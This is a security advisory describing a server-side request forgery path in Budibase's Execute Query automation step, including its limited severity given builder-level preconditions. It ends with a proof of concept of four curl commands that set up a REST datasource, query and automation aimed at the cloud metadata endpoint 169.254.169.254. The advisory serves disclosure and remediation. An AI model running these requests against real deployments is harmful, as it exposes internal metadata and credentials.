Budibase: SSRF via User-Controlled queryId in Automation Execute Query Step

Summary

The executeQuery automation step in Budibase accepts a queryId from automation step inputs and passes it directly to the query execution controller without additional validation. When combined with a REST datasource configured to target internal infrastructure, this creates a server-side request forgery path where automation execution causes the Budibase server to make outbound HTTP requests to attacker-influenced destinations. The automation output then returns the response, potentially exposing internal service data.

Details

Inside the execute query automation step, the queryId value and any additional query parameters from inputs.query are assembled into a request context and forwarded to queryController.executeV2AsAutomation. The constructed context looks like the following:

const ctx: any = buildCtx(appId, emitter, {
  body: {
    parameters: rest,
  },
  params: {
    queryId,
  },
  user: context.user,
})

No validation is performed to confirm that the referenced query is appropriate for automation use, that the associated datasource targets an allowlisted destination, or that the supplied parameters do not override security-sensitive fields. The context.user value is also forwarded directly from automation context into the request, which may allow caller identity to be influenced by automation binding inputs.

To reach exploitation, an attacker needs builder-level access to the Budibase application. With that access, they can create a REST datasource with a base URL pointing to an internal network endpoint such as a cloud metadata service, create a query against that datasource, and then create an automation whose Execute Query step references that query. When the automation is triggered, the Budibase server issues the HTTP request originating from its own network context, and the response is captured in the automation output.

The key limitation, reflected in the revised severity, is that builder access already permits direct datasource configuration. A builder can configure a REST datasource and test it directly without involving the automation layer at all. The automation execute query path therefore does not provide a meaningful privilege escalation beyond what a builder role already permits. The finding is technically valid as an SSRF condition but the preconditions required to exploit it are equivalent to the preconditions for directly interacting with datasources.

PoC

curl -s -X POST "$BUDIBASE_HOST/api/datasources" \
  -H "Cookie: $SESSION_COOKIE" \
  -H "Content-Type: application/json" \
  -d '{
    "datasource": {
      "name": "internal-meta",
      "type": "REST",
      "source": "REST",
      "config": {
        "url": "http://169.254.169.254",
        "rejectUnauthorized": false,
        "defaultHeaders": {}
      }
    }
  }'

curl -s -X POST "$BUDIBASE_HOST/api/queries" \
  -H "Cookie: $SESSION_COOKIE" \
  -H "Content-Type: application/json" \
  -d "{
    \"datasourceId\": \"$DATASOURCE_ID\",
    \"name\": \"meta-probe\",
    \"queryVerb\": \"read\",
    \"fields\": {
      \"path\": \"/latest/meta-data/\",
      \"queryString\": \"\",
      \"headers\": {},
      \"requestBody\": \"\"
    },
    \"parameters\": [],
    \"transformer\": \"return data\",
    \"schema\": {}
  }"

curl -s -X POST "$BUDIBASE_HOST/api/automations" \
  -H "Cookie: $SESSION_COOKIE" \
  -H "Content-Type: application/json" \
  -d "{
    \"name\": \"ssrf-test\",
    \"definition\": {
      \"trigger\": {
        \"event\": \"app:trigger\",
        \"stepId\": \"APP\",
        \"inputs\": {},
        \"schema\": {\"inputs\": {\"properties\": {}, \"required\": []}},
        \"type\": \"TRIGGER\",
        \"id\": \"trigger1\"
      },
      \"steps\": [
        {
          \"stepId\": \"EXECUTE_QUERY\",
          \"inputs\": {
            \"query\": {
              \"queryId\": \"$QUERY_ID\"
            }
          },
          \"schema\": {},
          \"type\": \"ACTION\",
          \"id\": \"step1\"
        }
      ]
    }
  }"

curl -s -X POST "$BUDIBASE_HOST/api/automations/$AUTOMATION_ID/trigger" \
  -H "Cookie: $SESSION_COOKIE" \
  -H "Content-Type: application/json" \
  -d '{}'